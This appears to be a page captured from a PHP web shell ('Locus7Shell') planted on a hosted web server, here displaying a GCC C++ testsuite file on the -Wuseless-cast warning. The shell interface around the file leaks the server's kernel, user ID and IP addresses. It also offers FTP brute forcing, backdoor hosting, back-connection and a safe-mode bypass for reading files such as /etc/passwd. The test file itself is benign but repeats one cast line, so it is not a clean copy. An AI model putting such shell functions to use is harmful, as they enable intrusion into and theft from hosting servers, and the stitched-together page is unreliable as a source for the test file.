Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wuseless-cast.C (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// { dg-options "-Wuseless-cast" }

template<typename T>
  void tmpl_f1(T& t)
  {
    (int)(t);
    static_cast<int>(t);
    reinterpret_cast<int>(t);

    (int*)(&t);
    const_cast<int*>(&t);
    static_cast<int*>(&t);
    reinterpret_cast<int*>(&t);

    (int&)(t);
    const_cast<int&>(t);
    static_cast<int&>(t);
    reinterpret_cast<int&>(t);
  }

template<typename T>
  void tmpl_f2(T t)
  {
    (int&)(t);
    const_cast<int&>(t);
    static_cast<int&>(t);
    reinterpret_cast<int&>(t);
  }

struct A { };

template<typename T>
  void tmpl_f3(T& t)
  {
    (A)(t);
    static_cast<A>(t);

    (A*)(&t);
    const_cast<A*>(&t);
    static_cast<A*>(&t);
    reinterpret_cast<A*>(&t);
    dynamic_cast<A*>(&t);

    (A&)(t);
    const_cast<A&>(t);
    static_cast<A&>(t);
    reinterpret_cast<A&>(t);
    dynamic_cast<A&>(t);
  }

template<typename T>
  void tmpl_f4(T t)
  {
    (A&)(t);
    const_cast<A&>(t);
    static_cast<A&>(t);
    reinterpret_cast<A&>(t);
    dynamic_cast<A&>(t);
  }

A prvalue();

void f()
{
  int n; 

  (int)(n);                    // { dg-warning "3:useless cast" }
  static_cast<int>(n);         // { dg-warning "3:useless cast" }
  reinterpret_cast<int>(n);    // { dg-warning "3:useless cast" }

  (int*)(&n);                  // { dg-warning "3:useless cast" }
  const_cast<int*>(&n);        // { dg-warning "3:useless cast" }
  static_cast<int*>(&n);       // { dg-warning "3:useless cast" }
  reinterpret_cast<int*>(&n);  // { dg-warning "3:useless cast" }

  int& m = n;

  (int&)(m);                   // { dg-warning "3:useless cast" }
  const_cast<int&>(m);         // { dg-warning "3:useless cast" }
  static_cast<int&>(m);        // { dg-warning "3:useless cast" }
  reinterpret_cast<int&>(m);   // { dg-warning "3:useless cast" }

  tmpl_f1(m);

  (int&)(n);                   // { dg-warning "3:useless cast" }
  const_cast<int&>(n);         // { dg-warning "3:useless cast" }
  static_cast<int&>(n);        // { dg-warning "3:useless cast" }
  reinterpret_cast<int&>(n);   // { dg-warning "3:useless cast" }

  tmpl_f2(n);

#ifdef __GXX_EXPERIMENTAL_CXX0X__
  (int&&)(42);
  static_cast<int&&>(42);

  (A&&)(prvalue());
  const_cast<A&&>(prvalue());
  static_cast<A&&>(prvalue());
#endif

  A a;

  (A)(a);                     // { dg-warning "3:useless cast" }
  static_cast<A>(a);          // { dg-warning "3:useless cast" }

  (A*)(&a);                   // { dg-warning "3:useless cast" }
  const_cast<A*>(&a);         // { dg-warning "3:useless cast" }
  static_cast<A*>(&a);        // { dg-warning "3:useless cast" }
  reinterpret_cast<A*>(&a);   // { dg-warning "3:useless cast" }
  dynamic_cast<A*>(&a);       // { dg-warning "3:useless cast" }

  A& b = a;

  (A&)(b);                    // { dg-warning "3:useless cast" }
  const_cast<A&>(b);          // { dg-warning "3:useless cast" }
  static_cast<A&>(b);         // { dg-warning "3:useless cast" }     
  static_cast<A&>(b);         // { dg-warning "3:useless cast" }
  dynamic_cast<A&>(b);        // { dg-warning "3:useless cast" }

  tmpl_f3(b);

  (A&)(a);                    // { dg-warning "3:useless cast" } 
  const_cast<A&>(a);          // { dg-warning "3:useless cast" }
  static_cast<A&>(a);         // { dg-warning "3:useless cast" }
  reinterpret_cast<A&>(a);    // { dg-warning "3:useless cast" }
  dynamic_cast<A&>(a);        // { dg-warning "3:useless cast" }

  tmpl_f4(a);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0067 ]--